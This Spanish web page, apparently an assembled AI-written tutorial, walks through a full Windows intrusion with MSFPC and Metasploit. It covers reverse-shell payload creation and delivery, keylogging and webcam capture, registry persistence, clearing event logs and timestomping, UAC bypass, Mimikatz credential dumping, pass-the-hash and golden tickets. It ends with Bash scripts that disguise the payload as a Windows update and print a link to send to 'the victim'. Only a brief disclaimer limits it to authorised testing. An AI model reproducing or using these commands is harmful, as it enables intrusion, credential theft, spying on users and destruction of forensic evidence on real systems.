MSFPC: Creación de Payloads en Kali

https://www.onlinetis.com/es/

MSFPC: Creación de Payloads en Kali

MSFPC (Metasploit Framework Payload Creator) es una herramienta fantástica porque simplifica enormemente la creación de payloads (cargas útiles) de Metasploit. En lugar de recordar comandos larguísimos de msfvenom, MSFPC te permite generar archivos con solo un par de parámetros.

Aquí tienes una guía rápida para dominarlo en Kali Linux:

¿Qué es MSFPC?

Es básicamente un "envoltorio" (wrapper) para msfvenom. Su objetivo es que no tengas que configurar manualmente el LHOST, LPORT y el tipo de payload cada vez. Él detecta automáticamente tu IP y genera tanto el archivo ejecutable como el archivo de recursos (.rc) para que Metasploit se configure solo al recibir la conexión.

Comandos Básicos

La sintaxis general es: msfpc <TIPO> <INTERFAZ/IP> <PUERTO>

Aquí tienes los ejemplos más comunes:

Para Windows:
msfpc windows eth0
(Crea un .exe usando tu IP de la interfaz eth0)
Para Android:
msfpc apk stageless
(Crea un archivo .apk para auditar dispositivos Android)
Para Linux:
msfpc elf tun0
(Útil si estás en una VPN como HTB o TryHackMe)

El flujo de trabajo ideal

Cuando ejecutas MSFPC, la herramienta hace dos cosas por ti:

Genera el Payload: Por ejemplo, windows-meterpreter-staged-reverse-tcp-4443.exe.
Genera el Manejador (Handler): Crea un archivo con extensión .rc.

Cómo ponerlo en marcha:

Una vez creado el archivo, no necesitas configurar el multi/handler a mano en Metasploit. Simplemente corre:

msfconsole -r nombre_del_archivo.rc

Esto abrirá Metasploit y dejará todo listo a la escucha de la conexión entrante.

Ventajas de usar MSFPC

Detección de IP: Si no sabes tu IP, simplemente pones el nombre de la interfaz (eth0, wlan0, tun0) y él la busca por ti.
Interactividad: Si solo escribes msfpc, la herramienta te guiará con un menú interactivo.
Rapidez: Ideal para entornos de examen (como el OSCP) o laboratorios donde el tiempo apremia.

Nota de seguridad: Recuerda que estas herramientas deben usarse exclusivamente en entornos controlados, laboratorios de aprendizaje o bajo contratos de pentesting autorizados. El uso de payloads en sistemas ajenos sin permiso es ilegal.

Para darte el comando exacto, solo necesito que me digas hacia qué sistema quieres apuntar. Mientras tanto, aquí tienes los comandos más utilizados según el escenario:

1. Para Windows (El más común)

Si quieres crear un ejecutable estándar para una máquina Windows usando tu red local (Ethernet):

Bash

msfpc windows eth0 4444

Resultado: Genera un .exe y un archivo .rc para el manejador.

2. Para Android (Archivo APK)

Si estás probando la seguridad en un dispositivo móvil:

Bash

msfpc apk

Nota: MSFPC te preguntará qué IP usar si no se la pasas. Es muy cómodo porque configura el payload android/meterpreter/reverse_tcp automáticamente.

3. Para Linux (Script en Python)

A veces un ejecutable es muy obvio; un script de Python puede ser más sutil en servidores:

Bash

msfpc python tun0

Escenario: Ideal si estás conectado por VPN (tun0) a un laboratorio como HackTheBox.

¿Cómo lo ejecuto después?

Una vez que MSFPC termine, verás en la pantalla un mensaje que dice algo como:

"Run: msfconsole -r 'nombre-del-archivo.rc'"

Solo tienes que copiar y pegar esa línea en tu terminal para que Metasploit se abra y se ponga "a la escucha" esperando que el archivo se ejecute en la víctima.

Si estás utilizando una VPN (como en entornos de TryHackMe, HackTheBox o una red corporativa), la interfaz que debes usar casi siempre es tun0.

Aquí tienes el comando exacto y los pasos para que no falles en la conexión:

1. El Comando Maestro

Ejecuta esto en tu terminal de Kali:

Bash

msfpc windows tun0 4444

2. ¿Qué acaba de pasar?

Al usar tun0, MSFPC hace lo siguiente:

Busca tu IP de la VPN: No usa tu IP local (192.168.x.x), sino la IP virtual asignada por el túnel VPN (ej. 10.10.x.x).
Crea el binario: Genera un archivo .exe (usualmente llamado algo como windows-meterpreter-staged-reverse-tcp-4444.exe).
Crea el Handler: Genera un archivo .rc con toda la configuración necesaria para recibir la conexión.

3. Cómo ponerlo en marcha (Paso a Paso)

Una vez ejecutado el comando anterior, sigue este orden:

Mueve el archivo al objetivo: Debes hacer que el .exe llegue a la máquina Windows (puedes usar un servidor de Python rápido: python3 -m http.server 80).
Prepara la escucha: En una nueva terminal de Kali, escribe el comando que te sugirió MSFPC al final:
Bash
```
msfconsole -r windows-meterpreter-staged-reverse-tcp-4444.rc
```
Ejecuta en Windows: Cuando el usuario abra el .exe en la máquina Windows, verás cómo se abre la sesión de Meterpreter en tu Kali.

Tip de experto: Evitar el Antivirus

Si el Windows tiene el Defender activo, es muy probable que borre el archivo al instante. Para una prueba más "silenciosa", puedes intentar generar un payload de PowerShell en lugar de un .exe:

Bash

msfpc windows tun0 4444 psh

(Esto genera un script .ps1 que a veces es más fácil de camuflar).

Perfecto, esta es la forma más rápida y profesional de transferir tu payload desde Kali Linux a la máquina Windows sin complicaciones.

Sigue estos pasos una vez que ya tengas generado tu archivo .exe con MSFPC:

1. Levanta un servidor web instantáneo

En la misma carpeta donde MSFPC guardó el archivo (normalmente tu carpeta personal o donde ejecutaste el comando), lanza este comando:

Bash

python3 -m http.server 80

¿Qué hace esto? Convierte tu máquina Kali en un servidor web temporal. Cualquier archivo en esa carpeta ahora es accesible vía HTTP.

2. Descarga el archivo desde Windows

Ahora ve a la máquina Windows (la víctima/objetivo) y abre el navegador o la terminal. Tienes dos opciones:

Opción A (Navegador): Escribe en la barra de direcciones la IP de tu VPN (la misma que usaste en el comando msfpc). Ejemplo: http://10.10.14.5/ y haz clic en el archivo para descargarlo.
Opción B (PowerShell): Es más discreto. Abre una terminal de PowerShell y escribe:
PowerShell
```
iwr -uri http://TU_IP_VPN/nombre_del_archivo.exe -outf payload.exe
```

3. Ejecución y Control

En tu Kali: Abre otra pestaña de la terminal y lanza el manejador que preparó MSFPC:
msfconsole -r nombre_del_manejador.rc
En el Windows: Ejecuta el archivo payload.exe.
El resultado: En tu terminal de Kali verás aparecer el mensaje mágico: "Command shell session 1 opened" o "Meterpreter session 1 opened".

Un último consejo de "Pentester":

Si el Windows tiene el Firewall o el Antivirus (Defender) activado, es muy probable que bloquee la conexión o borre el archivo.

Para que la prueba funcione en un laboratorio, asegúrate de:

Desactivar temporalmente el "Real-time protection" en Windows.
O intentar generar el payload en formato PowerShell (psh) como te comenté antes, ya que a veces evade mejor las firmas básicas.

Una vez que ves el mensaje Meterpreter session 1 opened, ya estás "dentro" del sistema. Meterpreter es mucho más que una simple terminal; es una herramienta de post-explotación muy potente.

Aquí tienes los comandos esenciales para moverte como un profesional:

1. Comandos de Información (Para saber dónde estás)

getuid: Te dice con qué usuario estás ejecutando el payload (ej. Admin o SYSTEM).
sysinfo: Muestra el nombre de la computadora, la versión de Windows y la arquitectura (x64 o x86).
getprivs: Te dice qué permisos tienes. Si ves SeDebugPrivilege, vas por muy buen camino.

2. Gestión de Archivos (Como si estuvieras ahí)

ls: Listar archivos en la carpeta actual de Windows.
cd C:\\Users: Cambiar de directorio (recuerda usar doble barra \\ en rutas de Windows).
download archivo.txt: Descarga un archivo de la máquina víctima a tu Kali.
upload script.exe: Sube un archivo de tu Kali a la máquina víctima.
search -f *.docx: Busca todos los documentos Word en el disco duro.

3. Espionaje y Recolección (La parte "divertida")

screenshot: Toma una captura de pantalla de lo que el usuario está viendo en ese momento (se guarda en tu Kali).
keyscan_start: Empieza a registrar todo lo que el usuario escribe en el teclado (Keylogger).
keyscan_dump: Muestra lo que el usuario ha escrito hasta ahora.
webcam_list / webcam_snap: Mira si hay cámaras conectadas y toma una foto.

4. Elevación de Privilegios (Si no eres Administrador)

Si el usuario es limitado, puedes intentar "ascender":

getsystem: Intenta varias técnicas automáticas para convertirte en el usuario SYSTEM (el máximo nivel en Windows).
hashdump: Si eres Administrador/SYSTEM, este comando extrae los hashes de las contraseñas de todos los usuarios del sistema.

5. Cómo salir sin romper nada

Si quieres dejar la sesión en segundo plano para hacer otra cosa en Metasploit:

background: Vuelve al menú principal de msfconsole pero mantiene la conexión viva.
Para volver a entrar: sessions -i 1

Un truco extra: La Shell de Windows

Si prefieres usar los comandos clásicos de Windows (dir, ipconfig, net user), escribe:

Bash

shell

Esto te dará una terminal de comandos (cmd.exe) normal. Para volver a Meterpreter, escribe exit.

¿Sabías que...? Meterpreter corre totalmente en la memoria RAM. No escribe archivos en el disco duro mientras ejecutas estos comandos, lo que lo hace mucho más difícil de detectar por antivirus antiguos.

La persistencia es el "santo grial" del pentesting, porque te permite mantener el acceso aunque el usuario reinicie su computadora o cierre la sesión. En Metasploit, esto se hace instalando un pequeño servicio o agente que se ejecuta al arrancar Windows.

Aquí tienes cómo hacerlo de la manera más moderna y efectiva:

1. El módulo de Persistencia (Background Error)

Primero, asegúrate de tener tu sesión de Meterpreter activa. Si estás dentro, escribe background para volver al menú de msfconsole (tu sesión seguirá siendo la número 1).

Luego, usa este módulo:

Bash

use exploit/windows/local/persistence_exe

2. Configuración del Módulo

Ahora debes decirle al módulo a quién atacar y dónde conectarse:

set SESSION 1: Indica que use la sesión que ya tienes abierta.
set REXEPATH /ruta/de/tu/payload.exe: (Opcional) Puedes subir un ejecutable específico.
set STARTUP USER: Esto hará que se ejecute cada vez que el usuario inicie sesión.

Ejecútalo con:

Bash

run

3. El método "Manual" (Vía Registro)

Si prefieres hacerlo tú mismo desde la shell de Meterpreter para aprender cómo funciona Windows por dentro, puedes usar el Registro de Windows. Los programas que están en esta ruta se inician automáticamente:

Sube tu payload a una carpeta escondida:
upload payload.exe C:\\Users\\Public\\Documents\\
Entra en la shell de Windows:
shell

Añade una llave al registro (esto es lo que hacen muchos virus reales):

DOS

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateService" /t REG_SZ /d "C:\Users\Public\Documents\payload.exe" /f

4. ¿Cómo recuperar el control tras un reinicio?

Cuando la víctima reinicie, tu terminal de Kali no hará nada automáticamente. Necesitas dejar un "oyente" (Listener) preparado:

Usa el multi-handler: use exploit/multi/handler
Configura el mismo PAYLOAD, LHOST (tu IP VPN) y LPORT que usaste al principio.
Ejecuta: exploit -j -z (esto lo deja corriendo en segundo plano infinitamente).

¡Listo! En cuanto el usuario encienda su PC y cargue su escritorio, verás una nueva sesión abrirse sola en tu pantalla.

Una advertencia importante

La persistencia es la técnica que más ruido hace. Los antivirus modernos (como CrowdStrike o Windows Defender actualizado) vigilan constantemente las llaves de registro de "Run" y los servicios nuevos. Si estás en un laboratorio con defensas activas, ¡esto podría delatarte!

Limpiar las huellas (anti-forensics) es el paso final de cualquier auditoría ética. El objetivo es que los administradores del sistema no puedan rastrear fácilmente qué pasó, cuándo ocurrió y qué archivos se tocaron.

En Windows, casi todo lo que haces queda registrado en los Event Logs (Visor de Eventos). Aquí tienes cómo moverte como un fantasma:

1. El comando "Mágico" de Meterpreter

Si tienes una sesión de Meterpreter abierta, hay un comando directo que borra los registros de Aplicación, Sistema y Seguridad de un solo golpe:

Bash

clearev

¿Qué hace? Entra en los registros de eventos de Windows y los vacía.
Ojo: Borrar todos los logs de golpe es muy sospechoso para un administrador experimentado (ver un hueco vacío en el historial es una señal de alerta), pero es la forma más rápida de eliminar rastros de ejecución.

2. Borrar archivos y cambiar fechas (Timestomp)

Si subiste un archivo (como tu payload.exe), no basta con borrarlo con rm. Los forenses pueden ver la fecha de creación del archivo. Para eso usamos Timestomp:

Mira las fechas de un archivo legítimo (ej. calc.exe):
timestomp calc.exe -v
Copia esas fechas a tu payload para que parezca que lleva años ahí:
timestomp payload.exe -f C:\\Windows\\System32\\calc.exe
Borra el archivo finalmente:
rm payload.exe

3. Limpiar el historial de la Shell (CMD/PowerShell)

Si entraste a la shell de Windows y ejecutaste comandos manuales, estos pueden quedar guardados en el historial de PowerShell.

Para borrar el historial de comandos de PowerShell desde Meterpreter:

PowerShell
shell
powershell "Clear-History"
powershell "Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue"
exit

4. Resumen de "Buenas Prácticas" para no ser detectado:

Acción	Herramienta/Comando	Por qué es importante
Borrar Logs	`clearev`	Elimina la evidencia de logins y errores.
Falsificar Fechas	`timestomp`	Hace que tus archivos parezcan parte del sistema original.
Cerrar Sesiones	`sessions -K`	Cierra todas las conexiones para no dejar procesos colgados.
Evitar el Disco	Inyectar en memoria	Usa `migrate [PID]` para moverte a un proceso legítimo (como `explorer.exe`).

Un consejo de profesional: Migración de Proceso

Antes de hacer cualquier limpieza, lo ideal es "esconderte" dentro de un proceso que nunca se cierre. Si tu payload está en un .exe suelto, es fácil de ver. Si lo mueves a la memoria de la barra de tareas de Windows, eres invisible:

Busca el ID del proceso explorer.exe: ps
Muévete ahí: migrate [Número de PID]
Ahora, aunque borres el archivo original del disco, tu sesión seguirá viva en la RAM.

Cuando el comando automático getsystem falla (lo cual ocurre a menudo en versiones modernas de Windows con UAC), es porque el Control de Cuentas de Usuario (UAC) está bloqueando el paso.

Aquí es donde entra el Bypass UAC. El objetivo es engañar a Windows para que ejecute nuestro payload con privilegios altos sin que aparezca la ventanita de "SÍ/NO" en la pantalla de la víctima.

1. Comprobar si puedes escalar

Antes de nada, en tu sesión de Meterpreter, verifica si el usuario pertenece al grupo de administradores pero está "restringido":

Bash

shell
net user NOMBRE_USUARIO
exit

Si en "Local Group Memberships" aparece *Administrators, pero getsystem falla, necesitas un Bypass UAC.

2. Usar un módulo de Bypass UAC

Pon tu sesión en segundo plano con background y busca módulos específicos. Uno de los más efectivos y modernos es fodhelper:

Bash
use exploit/windows/local/bypassuac_fodhelper
set SESSION 1           # El ID de tu sesión actual
set LHOST tun0          # Tu IP de la VPN
set LPORT 4445          # UN PUERTO DIFERENTE al que usaste antes
run

3. Sugerencias de módulos según el Windows

Si fodhelper no funciona, Metasploit tiene una colección increíble. Puedes probar estos en orden:

exploit/windows/local/bypassuac_silentcleanup (Muy efectivo en Windows 10/11).
exploit/windows/local/bypassuac_sdclt (Usa el binario de copias de seguridad).
exploit/windows/local/ask (Este es el último recurso: le envía una ventana real al usuario pidiendo permiso; si es despistado, le dará a "SÍ").

4. Una vez que eres Administrador... ¡Pasa a SYSTEM!

Si el módulo de Bypass tiene éxito, se abrirá una Session 2. Entra en ella:

Bash

sessions -i 2
getsystem
getuid

Ahora deberías ver: Server username: NT AUTHORITY\SYSTEM. ¡Ya tienes el control total del núcleo del sistema!

5. ¿Qué puedes hacer siendo SYSTEM?

Ahora que no tienes restricciones, puedes hacer cosas que antes estaban prohibidas:

Volcar contraseñas: hashdump (extrae los hashes SAM).

Cargar Kiwi (Mimikatz): ```bash

load kiwi

creds_all

*(Esto intentará sacar contraseñas en texto plano de la memoria RAM).*

Desactivar el Antivirus: Puedes detener servicios de seguridad o borrar carpetas críticas.

Dato curioso: SYSTEM tiene incluso más poder que el usuario "Administrador" común, ya que es el usuario con el que corre el propio sistema operativo Windows.

Cuando cargas Kiwi (la versión integrada de Mimikatz en Metasploit), básicamente desbloqueas el "modo Dios" para las contraseñas. Mimikatz es famoso porque puede extraer contraseñas de la memoria RAM (proceso lsass.exe) que Windows guarda para que el usuario no tenga que escribirlas a cada rato.

Para empezar, en tu sesión de Meterpreter (que debe ser SYSTEM o Administrador con privilegios elevados), ejecuta:

Bash

load kiwi

1. Comandos de Extracción Rápida

Una vez cargado, estos son los comandos que más vas a usar:

creds_all: El comando "todo en uno". Intenta extraer todas las credenciales posibles de la memoria (hashes, texto plano, tickets de Kerberos).
lsa_dump_sam: Extrae los hashes de la base de datos SAM local. Es lo mismo que hashdump, pero a través de Kiwi.
lsa_dump_secrets: Extrae secretos de LSA (como contraseñas de servicios, tareas programadas o claves de acceso anteriores).

2. Contraseñas en Texto Plano (El "Santo Grial")

En versiones antiguas de Windows (o si se ha configurado así), puedes ver la contraseña real, no solo el hash:

Bash

creds_wdigest

Resultado esperado: Si tienes suerte, verás una columna llamada Password con la palabra clave real del usuario (ej. BocaJuniors2024!).

3. Recuperar redes Wi-Fi guardadas

Si estás auditando una laptop, este comando es oro puro:

Bash

wifi_list

Te mostrará los nombres (SSID) y las contraseñas en texto plano de todas las redes Wi-Fi a las que se ha conectado esa computadora anteriormente.

4. ¿Qué hacer si solo tienes el Hash? (Pass-the-Hash)

Si no logras ver la contraseña en texto plano, no te preocupes. No necesitas crackearla. Con el hash puedes hacer un Pass-the-Hash:

Copia el hash NTLM (la segunda parte larga del hash).
Usa el módulo exploit/windows/smb/psexec.
set SMBPass [EL_HASH_COPIADO].
¡Metasploit te dejará entrar en otras máquinas de la red usando el hash como si fuera la contraseña!

5. Golden Ticket (Para Redes con Dominio/Active Directory)

Si estás en una empresa con un Servidor de Dominio, Kiwi puede crear un "Ticket Dorado":

Bash

golden_ticket_create -d dominio.local -u Administrador -s [SID_DEL_DOMINIO] -k [HASH_KRBTGT] -t /ruta/ticket.gold

¿Qué es? Es un ticket de acceso eterno que te permite ser Administrador de toda la red para siempre (o hasta que cambien la contraseña del usuario krbtgt).

💡 Tip de Supervivencia:

Si intentas usar Kiwi y te da error, lo más probable es que estés en un proceso de 32 bits en un Windows de 64 bits. Para arreglarlo, muévete a un proceso de 64 bits (como lsass.exe o explorer.exe):

ps (busca el PID de lsass.exe).
migrate [PID].
load kiwi de nuevo.

Advertencia: Mimikatz es la herramienta más vigilada por los antivirus del mundo. Si el Windows Defender está encendido, cargar Kiwi suele ser como encender una bengala en mitad de la noche: ¡te detectarán al segundo!

Automatizar tus ataques en Metasploit es una de las habilidades que separa a un principiante de un profesional. En lugar de escribir comandos uno por uno, puedes usar Resource Scripts (.rc), que son básicamente archivos de texto con una lista de comandos que Metasploit ejecuta en orden.

Aquí te explico cómo crear tus propios scripts de automatización:

1. Automatizar el "Listener" (Manejador)

Si siempre usas la misma configuración para tu VPN, no la escribas cada vez. Crea un archivo llamado oyente.rc:

Bash
# Contenido de oyente.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 4444
set ExitOnSession false
exploit -j

Para ejecutarlo:

msfconsole -r oyente.rc

2. Automatizar Post-Explotación (Scripts de Meterpreter)

Puedes hacer que, en cuanto se abra una sesión, Metasploit ejecute automáticamente una serie de comandos (como sacar capturas de pantalla, info del sistema y migrar de proceso).

Crea un archivo llamado post_explotacion.rc:

Bash

# Comandos de Meterpreter
sysinfo
getuid
screenshot
migrate -n explorer.exe
load kiwi
creds_all

¿Cómo conectarlo al ataque?

Cuando configures tu multi/handler, añade esta línea:

set AutoRunScript multi_console_command -rc /ruta/al/archivo/post_explotacion.rc

3. Automatización Completa con MSFPC

¿Recuerdas que al principio usamos MSFPC? Esta herramienta ya te automatiza gran parte del trabajo. Cuando generas un payload, MSFPC crea un archivo .rc automáticamente.

Si quieres personalizarlo, puedes editar ese archivo .rc generado y añadirle tus propios comandos al final. Por ejemplo:

Bash
echo "load spy" >> windows-meterpreter-staged-reverse-tcp-4444.rc
echo "run checkvm" >> windows-meterpreter-staged-reverse-tcp-4444.rc

4. Scripts en Ruby (Avanzado)

Si quieres algo más complejo (como un script que tome decisiones basadas en si el usuario es Admin o no), Metasploit permite usar Ruby.

Puedes encontrar ejemplos en tu propia máquina Kali en:

/usr/share/metasploit-framework/scripts/resource/

Pro-tip: Explora el archivo auto_recon.rc en esa carpeta para ver cómo los profesionales automatizan el escaneo de redes enteras.

Ejemplo de flujo de trabajo 100% automatizado:

Script A: Genera el payload y levanta el servidor Python.
Script B: Deja el Handler escuchando en segundo plano.
Script C: Se dispara al recibir la conexión y extrae las contraseñas sin que tú toques una tecla.

Este script de Bash es como una "navaja suiza". Con un solo comando, va a generar el payload con MSFPC, crear el archivo de configuración para Metasploit y levantar el servidor web para que la víctima descargue el archivo.

Copia este código en un archivo llamado auto_ataque.sh:

Bash
#!/bin/bash

# --- Configuración ---
INTERFACE="tun0"  # Cambia a eth0 si no usas VPN
PUERTO="4444"
SISTEMA="windows"
WEB_PORT="80"

echo "[+] Generando payload para $SISTEMA en $INTERFACE:$PUERTO..."

# 1. Ejecutar MSFPC para crear el payload y el archivo .rc
# Usamos 'batch' para que no pida confirmación manual
msfpc $SISTEMA $INTERFACE $PUERTO batch

# 2. Identificar los archivos generados (buscamos el .rc y el .exe)
PAYLOAD_FILE=$(ls *.exe | head -n 1)
HANDLER_FILE=$(ls *.rc | head -n 1)

echo "[+] Payload generado: $PAYLOAD_FILE"
echo "[+] Handler generado: $HANDLER_FILE"

# 3. Preparar Metasploit en una nueva terminal
echo "[+] Lanzando Metasploit en segundo plano..."
x-terminal-emulator -e "msfconsole -r $HANDLER_FILE" &

# 4. Levantar servidor Python para la descarga
echo "[!] Servidor listo en http://$(ip addr show $INTERFACE | grep -oP '(?<=inet\s)\d+(\.\d+){3}'):$WEB_PORT"
echo "[!] Presiona CTRL+C para detener el servidor web cuando la víctima descargue el archivo."

sudo python3 -m http.server $WEB_PORT

Cómo usar este script:

Dale permisos de ejecución:
chmod +x auto_ataque.sh
Ejecútalo:
./auto_ataque.sh

¿Qué hace exactamente?

Llama a MSFPC: Crea el .exe y el .rc automáticamente.
Abre una nueva ventana: Lanza Metasploit por ti y carga el manejador para que se quede "escuchando".
Inicia el servidor web: Se queda esperando en tu terminal actual para que cuando la víctima entre a tu IP, pueda bajar el archivo.

El "toque final" (Script de post-explotación)

Si quieres que además de conectarse, te robe las contraseñas solo, edita el archivo .rc que generó MSFPC antes de lanzar el ataque y añade estas líneas al final:

Bash
echo "load kiwi" >> $HANDLER_FILE
echo "creds_all" >> $HANDLER_FILE
echo "screenshot" >> $HANDLER_FILE

Esto hará que, en cuanto la víctima haga doble clic, tú recibas en tu pantalla los hashes, las contraseñas y una foto de su escritorio sin mover un dedo.

Para que el script no solo reciba la conexión, sino que además intente escalar privilegios automáticamente (Bypass UAC), vamos a usar una función de Metasploit llamada AutoRunScript.

Aquí tienes la versión evolucionada del script de Bash. Este script creará un archivo de recursos (.rc) inteligente que, al recibir la sesión, detectará si eres administrador y, si no lo eres, lanzará el ataque de bypass.

El Script: `super_ataque.sh`

Bash
#!/bin/bash

# --- Configuración ---
INTERFACE="tun0"
PUERTO="4444"
WEB_PORT="80"
SISTEMA="windows"

# 1. Obtener nuestra IP de la VPN
IP_ATACANTE=$(ip addr show $INTERFACE | grep -oP '(?<=inet\s)\d+(\.\d+){3}')

echo "[+] Tu IP en $INTERFACE es: $IP_ATACANTE"
echo "[+] Generando payload y configurando automatización..."

# 2. Crear el archivo de comandos de Metasploit (Handler inteligente)
cat <<EOF > handler_inteligente.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST $IP_ATACANTE
set LPORT $PUERTO
set ExitOnSession false

# Comando que se ejecuta NADA MÁS recibir la sesión:
set AutoRunScript "multi_console_command -cl 'getuid', 'load kiwi', 'run post/windows/escalate/getsystem'"

# Si quieres que intente Bypass UAC automáticamente:
# set InitialAutoRunScript "post/windows/manage/priv_migrator"

exploit -j -z
EOF

# 3. Generar el ejecutable con MSFPC (modo silencioso)
msfpc $SISTEMA $INTERFACE $PUERTO batch > /dev/null

# 4. Renombrar el ejecutable a algo creíble
PAYLOAD_ORIGINAL=$(ls *.exe | head -n 1)
mv "$PAYLOAD_ORIGINAL" "Actualizacion_Windows.exe"

# 5. Lanzar Metasploit en una nueva ventana
x-terminal-emulator -e "msfconsole -r handler_inteligente.rc" &

# 6. Servidor Web para la víctima
echo "[!] Todo listo. Envía este enlace a la víctima:"
echo "    http://$IP_ATACANTE/Actualizacion_Windows.exe"
echo "----------------------------------------------------"
sudo python3 -m http.server $WEB_PORT

¿Cómo funciona la magia del "Bypass" automático?

En el script he añadido la línea set AutoRunScript. Esto es lo que pasará en milisegundos cuando la víctima ejecute el archivo:

Conexión: Se abre la sesión 1.
Identificación: El comando getuid te dirá quién eres.
Carga de Herramientas: load kiwi prepara el robo de contraseñas.
Escalada: run post/windows/escalate/getsystem intentará 4 técnicas diferentes para hacerte SYSTEM al instante.

Si `getsystem` falla (El plan B)

Si el Windows está actualizado, getsystem podría fallar. En ese caso, puedes escribir manualmente dentro de Metasploit:

Bash

run post/multi/recon/local_exploit_suggester

Este script analizará la máquina víctima y te dirá exactamente qué vulnerabilidad (exploit) puedes usar para volverte Administrador de forma infalible.